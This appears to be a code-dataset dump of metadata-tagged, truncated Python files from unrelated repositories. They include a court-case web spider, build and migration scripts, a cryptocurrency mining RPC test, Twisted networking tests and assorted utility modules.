/script_spider/sifawang_spider.py
1e035b35b1d7a9a1cbba77fec4b17296cdfebba2
[]
no_license
linlingmao/LawCrimeMining
9287697c7c22de69a975540079b9ab4cdfe04faf
54f23e0de7bc285866e4a8adb1d7bf3fcd7e1b43
refs/heads/master
2023-03-17T01:30:26.240537
2023-03-11T08:46:09
2023-03-11T08:46:09
231,522,866
2
0
null
2020-01-03T06:04:52
2020-01-03T06:04:52
null
UTF-8
Python
false
false
5,156
py
#!/usr/bin/env python3 # coding: utf-8 # File: crime_spider.py # Author: lhy<lhy_in_blcu@126.com,https://huangyong.github.io> # Date: 18-7-21 import urllib.request import urllib.parse from lxml import etree import re import pymongo '''基于司法网的犯罪案件采集''' class CrimeSpider: def __init__(self): self.conn = pym...
[ "lhy_in_blcu@126.com" ]
lhy_in_blcu@126.com
39fe03c45344220a28fadb6c37dbfefafe66e30b
49199784259a7ed2781d58b09805c6cfb256ac23
/接口/demo/config/__init__.py
db123a1593f5343c4f22ca85b660d2cce367533f
[]
no_license
CHENMO12/MyGithub
1cc5c6b79f4d909c4142bd70c85d7dd1291d875d
543b1e0a567bd7094875ef8f26212c16a4378bde
refs/heads/master
2021-06-11T18:43:53.646195
2021-03-26T08:01:56
2021-03-26T08:01:56
155,510,179
0
1
null
null
null
null
UTF-8
Python
false
false
537
py
# -*- coding: utf-8 -*- # @Time : 2019/10/5 下午 2:48 # @Author : chinablue # @Email : dongjun@reconova.cn # @File : bns_api_device.py import os from base.helper import ConfigHelper cfgFile = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'config.ini') domain_cfg = ConfigHelper(cfgFile) # 读取配置文件内容 ...
[ "you@example.com" ]
you@example.com
2d768197e907574c092a9e0f260d439589dcabd1
e17660bcf07fe3221a18dc3da68f06c85c40cbf9
/src/py2app/converters/coredata.py
e1b18553c65d2349f6b7c5b64699a99d0c7b0754
[ "MIT", "Python-2.0" ]
permissive
ronaldoussoren/py2app
bca832cab41b9a365342d400aed4ebbbe80bed0c
e9c7a88f34d79c41a3a344ccc14cd97c24904b9f
refs/heads/master
2023-09-01T05:14:53.388393
2023-04-16T08:34:06
2023-04-16T08:34:06
233,826,136
292
34
NOASSERTION
2023-08-30T17:54:44
2020-01-14T11:27:41
Python
UTF-8
Python
false
false
806
py
""" Automatic compilation of CoreData model files """ import os import typing from py2app.util import mapc, momc def convert_datamodel( source: typing.Union[os.PathLike[str], str], destination: typing.Union[os.PathLike[str], str], dry_run: bool = False, ) -> None: """ Convert an .xcdatamodel to a...
[ "ronaldoussoren@mac.com" ]
ronaldoussoren@mac.com
4e81b629a1cde62bb59af2b097417782981c1a06
eef659a707d87e979741cc11ad59344c911790f5
/cc3/prizedraw/south_migrations/0006_auto__add_field_repeatpurchase_cancelled_date.py
b5c12f2881da0d0b98093fc7a138830005251d45
[]
no_license
qoin-open-source/samen-doen-cc3
1e5e40a9b677886aa78f980670df130cbbb95629
8b7806177e1e245af33b5112c551438b8c0af5d2
refs/heads/master
2020-05-04T02:26:07.039872
2019-04-02T21:19:54
2019-04-02T21:19:54
178,926,274
0
0
null
null
null
null
UTF-8
Python
false
false
7,995
py
# -*- coding: utf-8 -*- from south.utils import datetime_utils as datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding field 'RepeatPurchase.cancelled_date' db.add_column(u'prizedraw_...
[ "stephen.wolff@qoin.com" ]
stephen.wolff@qoin.com
86a87ac01bac395e10469d4b0d9ac3c46ed7bc8b
51552c29c2341c9a34b73545bce4622d7efc3c79
/test/functional/auxpow_mining.py
c520e1b7013a00018139999d5cffe4f30ef45337
[ "MIT" ]
permissive
masterdpool/huntercore
a498afc3904c074abb0288b9454609492f5603a2
580474c62b0a2e87e96a6a7d1056a50b7d1c64f4
refs/heads/master
2020-03-18T20:22:15.964457
2017-11-24T17:01:54
2017-11-24T17:01:54
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,353
py
#!/usr/bin/env python3 # Copyright (c) 2014-2017 Daniel Kraft # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # Test the merge-mining RPC interface: # getauxblock, createauxblock, submitauxblock from test_framework.test_framework...
[ "d@domob.eu" ]
d@domob.eu
4cf4dbc85dc79d5f17ce59adbb4d9e09898dbe89
00c6ded41b84008489a126a36657a8dc773626a5
/.history/Sizing_Method/ConstrainsAnalysis/ConstrainsAnalysisPDP1P2_20210713181035.py
6f6a26e524e4ea7a0a8f7eed625d374f24899303
[]
no_license
12libao/DEA
85f5f4274edf72c7f030a356bae9c499e3afc2ed
1c6f8109bbc18c4451a50eacad9b4dedd29682bd
refs/heads/master
2023-06-17T02:10:40.184423
2021-07-16T19:05:18
2021-07-16T19:05:18
346,111,158
0
0
null
null
null
null
UTF-8
Python
false
false
23,232
py
# author: Bao Li # # Georgia Institute of Technology # import sys import os sys.path.insert(0, os.getcwd()) import numpy as np import matplotlib.pylab as plt import Sizing_Method.Other.US_Standard_Atmosphere_1976 as atm import Sizing_Method.Aerodynamics.ThrustLapse as thrust_lapse import Sizing_Method.Aerodynamics.Ae...
[ "libao@gatech.edu" ]
libao@gatech.edu
d7a83da80b891f7133d7bcc78bb701ea2a0374da
f3806d9fb54773908cd9704121a543b114470aca
/angr/procedures/definitions/win32_rtm.py
d14d593c8f22d2d2e9eb2eb52db6368c17c54e82
[ "BSD-2-Clause" ]
permissive
angr/angr
8ae95fceca51b0a001de56477d984dd01193ac1d
37e8ca1c3308ec601ad1d7c6bc8081ff38a7cffd
refs/heads/master
2023-08-17T03:15:21.007865
2023-08-15T18:44:57
2023-08-15T18:44:57
40,328,394
7,184
1,306
BSD-2-Clause
2023-09-14T20:14:23
2015-08-06T21:46:55
Python
UTF-8
Python
false
false
74,411
py
# pylint:disable=line-too-long import logging from ...sim_type import SimTypeFunction, SimTypeShort, SimTypeInt, SimTypeLong, SimTypeLongLong, SimTypeDouble, SimTypeFloat, SimTypePointer, SimTypeChar, SimStruct, SimTypeFixedSizeArray, SimTypeBottom, SimUnion, SimTypeBool from ...calling...
[ "noreply@github.com" ]
angr.noreply@github.com
e3f468889b5a5c3c5dc8a8a73a5d0bb8b6ac09d4
d9cd12fe7607fe3931fc1a611a3613c9ef7afb42
/manipulation/contingency_planning/scripts/tong_policies.py
f836ddbfc9c139494c3c8487e950834fc5e6a0b0
[]
no_license
HARPLab/gastronomy
e4c42626a6883acf5818dcfe97069253ca7fdd12
ad713e4eb15a2d9573622bace528fc86e19a6545
refs/heads/master
2022-04-27T11:31:16.408378
2022-03-17T00:17:34
2022-03-17T00:17:34
166,125,356
6
3
null
null
null
null
UTF-8
Python
false
false
25,141
py
import numpy as np from carbongym import gymapi from carbongym_utils.policy import Policy from carbongym_utils.math_utils import RigidTransform_to_transform, transform_to_RigidTransform, quat_to_rot, np_to_vec3, rpy_to_quat, vec3_to_np, quat_to_np from autolab_core import RigidTransform from min_jerk_interpolation im...
[ "kevinleezhang@gmail.com" ]
kevinleezhang@gmail.com
8a7012fed8f3cc20f517900f2ec24c29a8ffd5da
55c250525bd7198ac905b1f2f86d16a44f73e03a
/Python/Projects/twilio/twilio/rest/preview/deployed_devices/fleet/certificate.py
f64b204c099d88c49da066eac0d9e42a3057ac14
[ "LicenseRef-scancode-other-permissive" ]
permissive
NateWeiler/Resources
213d18ba86f7cc9d845741b8571b9e2c2c6be916
bd4a8a82a3e83a381c97d19e5df42cbababfc66c
refs/heads/master
2023-09-03T17:50:31.937137
2023-08-28T23:50:57
2023-08-28T23:50:57
267,368,545
2
1
null
2022-09-08T15:20:18
2020-05-27T16:18:17
null
UTF-8
Python
false
false
130
py
version https://git-lfs.github.com/spec/v1 oid sha256:3ffd492bd19cb0647c451c0a9454bb548cf0df6ad4c74e3862adcaa95f2c7250 size 16915
[ "nateweiler84@gmail.com" ]
nateweiler84@gmail.com
feaac6a7af8bdd867c942eb588cad3795c75e7f3
2342b8737b9ffeb9715158b8ec74a33c7a4947f6
/koku/api/metrics/views.py
a3909ca2592902175aa16da4e9840b6d97e6560d
[ "Apache-2.0" ]
permissive
project-koku/koku
444d8df05da5416c9cee606c42481c99be45f13d
0416e5216eb1ec4b41c8dd4999adde218b1ab2e1
refs/heads/main
2023-08-20T11:30:17.510182
2023-08-17T18:27:30
2023-08-17T18:27:30
126,496,611
225
94
Apache-2.0
2023-09-14T17:38:08
2018-03-23T14:29:23
Python
UTF-8
Python
false
false
2,435
py
# # Copyright 2021 Red Hat Inc. # SPDX-License-Identifier: Apache-2.0 # """Views for CostModelMetricsMap.""" import copy from django.utils.encoding import force_text from django.views.decorators.vary import vary_on_headers from rest_framework import permissions from rest_framework import status from rest_framework.dec...
[ "noreply@github.com" ]
project-koku.noreply@github.com
d05d789fe9b20b372392801bd14ead8748ffac42
d6b75a8016cb0bf39f74418fcf6f25ac859e9ba5
/handle/all.py
6b83e748a7970fb2dafb8da8563020778abea9ec
[]
no_license
bedreamer/gw-modbus
672dbae5784e36509f6e1d7cb2ae33bb5b203a7f
87231118ba27931328a18f859a33c1d1d0160cec
refs/heads/master
2020-03-30T05:31:47.316217
2018-10-02T10:24:31
2018-10-02T10:24:31
150,804,302
1
0
null
null
null
null
UTF-8
Python
false
false
1,328
py
# -*- coding: utf8 -*- _handle_map = dict() _handle_alloc_seed = 100 _handle_total_count = 0 class Token(object): def __init__(self, name, *args): self.name = name self.args = args def payload(self): return tuple(self.args) def new(token): global _handle_map, _handle_alloc_see...
[ "bedreamer@163.com" ]
bedreamer@163.com
ca2a87c3ef6defa397ec93dcac0e272d79dd6998
debeaea83bdefb25988254c72f7bd40d326e7236
/hardwareAction/greyMollassesOffsetFreqHWA.py
549dce8c8a8a1956bffdf2f9452c8e1d122a48bd
[]
no_license
mlink1990/experimentSnake
0f67a03aec35dfa270caa886b082dd4f00140f94
d4dcee58068275a06e8de8081c129b360a62286e
refs/heads/master
2022-12-29T19:39:40.482120
2020-10-08T11:46:47
2020-10-08T11:46:47
273,915,558
0
0
null
null
null
null
UTF-8
Python
false
false
3,266
py
# -*- coding: utf-8 -*- """ Created on Tue Nov 24 17:39:56 2015 @author: tharrison """ # -*- coding: utf-8 -*- """ You can use the below as a standard template for a new hardware Action to be tied to experiment wizard using the experiment snake """ import hardwareAction import MXGAgilentGenerator import logging log...
[ "Martin.Link90@gmail.com" ]
Martin.Link90@gmail.com
8ddae8a1128e76e9507f0a05cf3507430ae2b45f
be089145adfd8b573d1aa4af5a6cf324f26e140e
/tests/test_middleware.py
209fdae6b615229ef8f63d10eea0da90536da910
[ "MIT" ]
permissive
diegobordeu/django-graphiql-debug-toolbar
7f89bc1db1219795ab39ed88346d3c995781ec84
55a8c3c722a588b5d2cf974917e44ab6318d4d67
refs/heads/master
2022-12-08T02:23:20.650468
2020-08-27T00:02:56
2020-08-27T00:02:56
290,585,568
1
0
MIT
2020-08-26T19:23:40
2020-08-26T19:23:40
null
UTF-8
Python
false
false
2,698
py
import json from unittest.mock import Mock, PropertyMock, patch from django.http import HttpResponse, JsonResponse from django.test import RequestFactory, testcases from graphene_django.views import GraphQLView from graphiql_debug_toolbar.middleware import DebugToolbarMiddleware class DebugToolbarMiddlewareTests(t...
[ "domake.io@gmail.com" ]
domake.io@gmail.com
7cfed951459b91b537f73d33a1091990f399ae90
22646a9514d1ccb93b4b3aa6c25e1bd9d4007cc3
/devtools/setup.py
3e9b4030dbe495db8db72d09948789114bfc4ebb
[ "Apache-2.0" ]
permissive
devopstoday11/klio
7bde8187f40d19fc2df82ba1aa012f37be08d1b4
ada47efe809726908a1245854f8dd3670d9b0946
refs/heads/master
2023-01-03T05:19:16.824558
2020-10-27T16:33:13
2020-10-27T16:33:13
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,207
py
#! /usr/bin/env python # # Copyright 2020 Spotify AB # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or...
[ "lynn@spotify.com" ]
lynn@spotify.com
7b4ffcd36f86eb26c5eefc4191c5f9c3d849b075
6acb74657a9e64ec4f50c7dee09113c2259189a9
/venv/Lib/site-packages/jet_files/tests/diff/same/5/before.py
276d95fc37357c619ca56ba465f58c8374aed4f8
[]
no_license
muhumar/Instagram-Marketing-Web-App
2f67680485d9869eb5c825abc99560a2e5c25975
831af87e30511b9b11d78988dbbbc9f9d2151d79
refs/heads/master
2020-05-18T02:29:38.948710
2019-05-09T01:50:26
2019-05-09T01:50:26
184,115,020
3
0
null
null
null
null
UTF-8
Python
false
false
9,350
py
# # Python # SimplePrograms # SimplePrograms # FrontPage # RecentChanges # FindPage # HelpContents # SimplePrograms # Page # Immutable Page # Info # Attachments # # User # Login # 1 line: Output # # # print 'Hello, world!' # # 2 lines: Input, assignment # # # name = raw_input('What is your name?\n') # print 'Hi, %s.' %...
[ "38706423+muhumar@users.noreply.github.com" ]
38706423+muhumar@users.noreply.github.com
db8f20518d4b4db57f7638633bdc3fed078b3d23
9d8acc20d2ee1d1957849dfb71c22e0dae2d8c5c
/baomoicrawl/venv/Lib/site-packages/twisted/test/test_tcp.py
59b9ab64147d2ac6b8ddb165226b1922ef18ead1
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
thuy4tbn99/TranTruongThuy_17021178_Nhom4_Crawler
b0fdedee2942a12d9f64dfed93f43802dc5ab340
87c8c07433466bbc43a24ea089f75baeb467c356
refs/heads/master
2022-11-27T21:36:33.917491
2020-08-10T23:24:42
2020-08-10T23:24:42
286,583,216
0
0
null
null
null
null
UTF-8
Python
false
false
68,025
py
# Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Tests for implementations of L{IReactorTCP}. """ from __future__ import division, absolute_import import socket import random import errno import hamcrest from functools import wraps from zope.interface import implementer ...
[ "thuy4tbn99@gmail.com" ]
thuy4tbn99@gmail.com
9606a94a10e3292ef39d3f2012242df8f66dcc78
762de1c66746267e05d53184d7854934616416ee
/tools/MolSurfGenService/MolSurfaceGen32/chimera/share/Midas/gui.py
6d5033349693c613e615accb241b3aa0cccbbc70
[]
no_license
project-renard-survey/semanticscience
6e74f5d475cf0ebcd9bb7be6bb9522cf15ed8677
024890dba56c3e82ea2cf8c773965117f8cda339
refs/heads/master
2021-07-07T21:47:17.767414
2017-10-04T12:13:50
2017-10-04T12:13:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
676
py
# --- UCSF Chimera Copyright --- # Copyright (c) 2000 Regents of the University of California. # All rights reserved. This software provided pursuant to a # license agreement containing restrictions on its disclosure, # duplication and use. This notice must be embedded in or # attached to all copies, including partia...
[ "alex.gawronski@d60594c4-dda9-11dd-87d8-31aa04531ed5" ]
alex.gawronski@d60594c4-dda9-11dd-87d8-31aa04531ed5
3dcccc4c97326cb7dc799652e0bcfb567c9871dc
14b8cf0b67104b53534678b8c0e9525ace4714ff
/codeeval/the_next_number.py
d8fcaea32c63a476654cebead95bc42ef082281b
[]
no_license
bhfwg/py_learn
bb11898fd81f653643fc61949f43df751d317fcb
eca9da748bada67357961d1581d8ec890a3385f8
refs/heads/master
2020-03-27T15:01:25.881792
2018-06-05T01:36:26
2018-06-05T01:36:26
null
0
0
null
null
null
null
UTF-8
Python
false
false
628
py
from sys import argv def get_the_next(one): n = len(one) for b in range(n-1,0,-1): for a in range(b-1,-1,-1): if one[a] < one[b]: return one[:a] + one[b] + (one[a+1:b] + one[a] + one[b+1:])[::-1] return get_next(list(one)) def get_next(left): left.reverse() n = ...
[ "metathinkerk@gmail.com" ]
metathinkerk@gmail.com
ee4a24041e4fb1892f54ec1ca2fd0c1a167932b1
2e74cff6c9639f3903ccde662e79359d0724285e
/2019_late/adv/싱기한네자리숫자.py
01f694f1283a76168e1eddfc430fa89c6218e99c
[]
no_license
dodonmountain/algorithm
e29988071f651e51ba65e3926302f94a3d4074a5
ce33e0d74220839aed4b17a47fa0069458a4324e
refs/heads/master
2022-11-05T05:14:01.527015
2022-11-01T04:29:37
2022-11-01T04:29:37
200,008,533
0
0
null
null
null
null
UTF-8
Python
false
false
52
py
print('''2992 2993 2994 2995 2996 2997 2998 2999''')
[ "lkh151515@gmail.com" ]
lkh151515@gmail.com
a603daf9142a9c66142d2db186cec3b086c15d62
c9ddbdb5678ba6e1c5c7e64adf2802ca16df778c
/cases/synthetic/tree-big-4934.py
0393fb5842195860560ccf21a6998c62fcd48edd
[]
no_license
Virtlink/ccbench-chocopy
c3f7f6af6349aff6503196f727ef89f210a1eac8
c7efae43bf32696ee2b2ee781bdfe4f7730dec3f
refs/heads/main
2023-04-07T15:07:12.464038
2022-02-03T15:42:39
2022-02-03T15:42:39
451,969,776
0
0
null
null
null
null
UTF-8
Python
false
false
23,288
py
# Binary-search trees class TreeNode(object): value:int = 0 left:"TreeNode" = None right:"TreeNode" = None def insert(self:"TreeNode", x:int) -> bool: if x < self.value: if self.left is None: self.left = makeNode(x) return True else: ...
[ "647530+Virtlink@users.noreply.github.com" ]
647530+Virtlink@users.noreply.github.com
2ec8a0cae315615b68614ec446e212206df4c30c
781e2692049e87a4256320c76e82a19be257a05d
/all_data/exercism_data/python/simple-cipher/9e9087e064174f6a8615a565f3cbbc2d.py
9af69833a2cb9cbc2c150f922e63774992dd5e0b
[]
no_license
itsolutionscorp/AutoStyle-Clustering
54bde86fe6dbad35b568b38cfcb14c5ffaab51b0
be0e2f635a7558f56c61bc0b36c6146b01d1e6e6
refs/heads/master
2020-12-11T07:27:19.291038
2016-03-16T03:18:00
2016-03-16T03:18:42
59,454,921
4
0
null
2016-05-23T05:40:56
2016-05-23T05:40:56
null
UTF-8
Python
false
false
1,195
py
import string import re import random class Cipher(object): def __init__(self, key=None): self.ALPHABET = string.ascii_lowercase if key == None: self.key = '' for i in range(100): self.key += self.ALPHABET[random.randrange(26)] else: self....
[ "rrc@berkeley.edu" ]
rrc@berkeley.edu
c51612f83150738408ed23a5b354a4aa522e9b05
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03295/s390435085.py
62dd79486074aedcfd4fe4cb710d2011fb492577
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
103
py
x=c=0 for b,a in sorted([[*map(int,t.split())][::-1]for t in open(0)][1:]): if a>x:x=b-1;c+=1 print(c)
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
be656fc58e0855035d7d4e359de1dbe4accacaa9
d6785f2770b0f4f8b3b1849f40ebf4bbdaf1b13b
/RTI Simpel TCP server/0.2/20352_e0d8acd301f66b3ca775898a7e29211c.py
d4537ed6aa1857da70944bf0f8fb0d0e392aee3b
[]
no_license
krautraucher/eventghost-general-PluginDatabase
ad249208c9d9543a0890558e1640579d94e45b42
2c1fea80832be21410c040058af703dae0409b41
refs/heads/master
2020-07-09T02:40:39.576199
2017-09-06T17:33:12
2017-09-06T17:33:12
null
0
0
null
null
null
null
UTF-8
Python
false
false
7,442
py
# -*- coding: utf-8 -*- # # This file is a plugin for EventGhost. # Copyright (C) 2014 Rasmus Vergo <Rasmus_vergo@hotmail.com> # # EventGhost is free software; you can redistribute it and/or modify it under # the terms of the GNU General Public License version 2 as published by the # Free Software Foundation; # # Event...
[ "dequi@users.noreply.github.com" ]
dequi@users.noreply.github.com
97ed6de9908801db6014d6548198da50ea9643db
4200dd7071ff5467afa7ff63e1306d8fb81c0a2f
/weis/optimization_drivers/tests/test_dakota_driver.py
d93b9fcb808015591f780581bda382b112cfe5cd
[ "Apache-2.0" ]
permissive
dykesk/WEIS
bc21166c9b38572614f5c3d5e5a1f1786832ac60
59851a0c3b2e801bd413ca4887ab4b78e58f928a
refs/heads/master
2023-04-02T06:33:30.400420
2021-01-28T17:56:55
2021-01-28T17:56:55
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,251
py
import unittest import numpy as np from weis.optimization_drivers.dakota_driver import DakotaOptimizer from openmdao.utils.assert_utils import assert_near_equal try: import dakota except ImportError: dakota = None @unittest.skipIf(dakota is None, "only run if Dakota is installed.") class TestDako...
[ "johnjasa11@gmail.com" ]
johnjasa11@gmail.com
2656f0ec6e0b4e9fb8872d80a7ed647f6d2cea29
6ab31b5f3a5f26d4d534abc4b197fe469a68e8e5
/katas/beta/logistic_map.py
ded999b51b54c94d71b95b0a0c1cb980a6af1d08
[ "MIT" ]
permissive
mveselov/CodeWars
e4259194bfa018299906f42cd02b8ef4e5ab6caa
1eafd1247d60955a5dfb63e4882e8ce86019f43a
refs/heads/master
2021-06-09T04:17:10.053324
2017-01-08T06:36:17
2017-01-08T06:36:17
null
0
0
null
null
null
null
UTF-8
Python
false
false
577
py
def manhattan_distance(x, y, x2, y2): return abs(x - x2) + abs(y - y2) def logistic_map(width, height, x_list, y_list): matrix = [[None for __ in range(width)] for _ in range(height)] if not x_list or not y_list: return matrix supply_points = set(zip(y_list, x_list)) for r, row in enumerat...
[ "the-zebulan@users.noreply.github.com" ]
the-zebulan@users.noreply.github.com
5a4730f212b4dd36efd574ddfad5fc622c67f0ac
c13ccf912360f02010f3185dc29f3e72205984dd
/Hauz/apps.py
3c9cf3081645db05bcac28349f7989fbed69cefa
[ "MIT" ]
permissive
VirginiaNdungu1/HauzBox
e3dd238b8ef302e69dd4cefa2036a50500b6f3bc
c586d221a903f2be681b895eec20dd01664ce141
refs/heads/master
2021-05-15T05:41:37.189912
2018-01-31T14:45:43
2018-01-31T14:46:18
116,761,502
1
0
null
null
null
null
UTF-8
Python
false
false
83
py
from django.apps import AppConfig class HauzConfig(AppConfig): name = 'Hauz'
[ "ndungu.wairimu22@gmail.com" ]
ndungu.wairimu22@gmail.com
cfc2c0419107ef651057b4e8324d283fae1dc3ae
7931abbd0f9494a1a4c9e6feada8d853eb4c2c79
/user_metrics/metrics/edit_rate.py
99dca5d89f6d10201a76c1eca8a5efc85ae32b0e
[ "BSD-3-Clause" ]
permissive
rfaulkner/wikipedia_user_metrics
df632f70fab93f9d9353f425f3e1dbbca7b78666
d7d2017ee17da18f0acac28f2916e223069b562c
refs/heads/master
2020-05-30T07:50:31.707256
2013-05-06T06:52:42
2013-05-06T06:52:42
5,847,963
3
1
null
null
null
null
UTF-8
Python
false
false
6,138
py
__author__ = "Ryan Faulkner" __date__ = "July 27th, 2012" __license__ = "GPL (version 2 or later)" from copy import deepcopy from dateutil.parser import parse as date_parse import user_metric as um import edit_count as ec from user_metrics.etl.aggregator import weighted_rate, decorator_builder, \ build_numpy_op_a...
[ "rfaulkner@wikimedia.org" ]
rfaulkner@wikimedia.org
5e9c7fae3ae8044fb0f2552ef080569c327d5ff9
9aa50c854b86953bd90e86fea8f170389d4c61cd
/Week2/[StatisticBasic]-Variance.py
f28c1fc844a7467db9d5d091408f0faab6cef284
[]
no_license
quangthin20/aivietnam
0444dedf884af03f12da4b3be5734f64edaa2b19
6778c44f43538775ce6438948b088f7cf67f4cd3
refs/heads/master
2020-06-24T08:43:58.628462
2019-08-18T06:29:44
2019-08-18T06:29:44
198,918,887
1
0
null
null
null
null
UTF-8
Python
false
false
753
py
# Thống kê cơ bản - Variance - phương sai #! @author: Quang Thìn import random import math # Tạo Data def makeData(size): data = [] for i in range(size): data.append(random.randint(1,100)) return data # Hàm mean def mean(data): return sum(data)/len(data) # Hàm variance def variance(data): Me...
[ "=" ]
=
36cb2e1ec6081aaf2657a44b3468027bba8858bb
4f43efdaea1776fa42a0671e2aa2e5f1815c098d
/rotateArraySearch.py
f891852264c2d11ead654add3f2626004d3a8fa3
[]
no_license
pingany/leetcode
6dba794aa9b0afcfddec011d2c10a1bbdd11a32b
f625f38cccb6865e4b37947dcc7e213f582c79a5
refs/heads/master
2021-01-18T13:54:41.312136
2015-04-16T05:36:15
2015-04-16T05:36:15
31,799,752
1
0
null
null
null
null
UTF-8
Python
false
false
1,543
py
#!/usr/bin/env python #-*- coding: utf-8 -*- import os,re,sys,commands,glob,utils import random,bisect reload(sys) sys.setdefaultencoding("utf-8") def binary_search(a, x, lo=0, hi=None): # can't use a to specify default for hi hi = hi if hi is not None else len(a) # hi defaults to len(a) pos = bisect.bi...
[ "pingany@gmail.com" ]
pingany@gmail.com
0a239ff45dd9d9e357b1500e677c4c00fd498902
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p02865/s350296897.py
d3e60d013344a2677c9a4a96f6352b91eb0d1932
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
153
py
# nikkei2019-2-qualA - Sum of Two Integers def main(): N = int(input()) ans = (N - 1) // 2 print(ans) if __name__ == "__main__": main()
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
0551a9e9d2db47ae4fb9d31f02f51dc44c5a928b
c191fc969ed36abb4e305bbd4e9852fb46d5cc10
/smilexls/__init__.py
1e85546d6f55c695f3731f4c162edd55e1439815
[ "MIT" ]
permissive
SunliangzeSmile/smilexls
a95e5bc3ac0b0234982970ba750bbffa501a466c
d5cd086858b1b7188c607dc6622b702512378cfd
refs/heads/main
2022-12-28T17:44:10.105392
2020-10-14T03:54:54
2020-10-14T03:54:54
303,878,423
0
0
null
null
null
null
UTF-8
Python
false
false
517
py
#!/usr/bin/env python3 #-*-coding:utf-8-*- # /* * # @Author: sunliangzesmile # @Date: 2019-09-28 18:28:16 # @Last Modified by: sunliangzesmile # @Last Modified time: 2019-09-28 18:28:16 # @Description: #* */ from config import app_config from flask import Flask,request,url_for from flask_wtf import CSRFPr...
[ "ubuntu@localhost.localdomain" ]
ubuntu@localhost.localdomain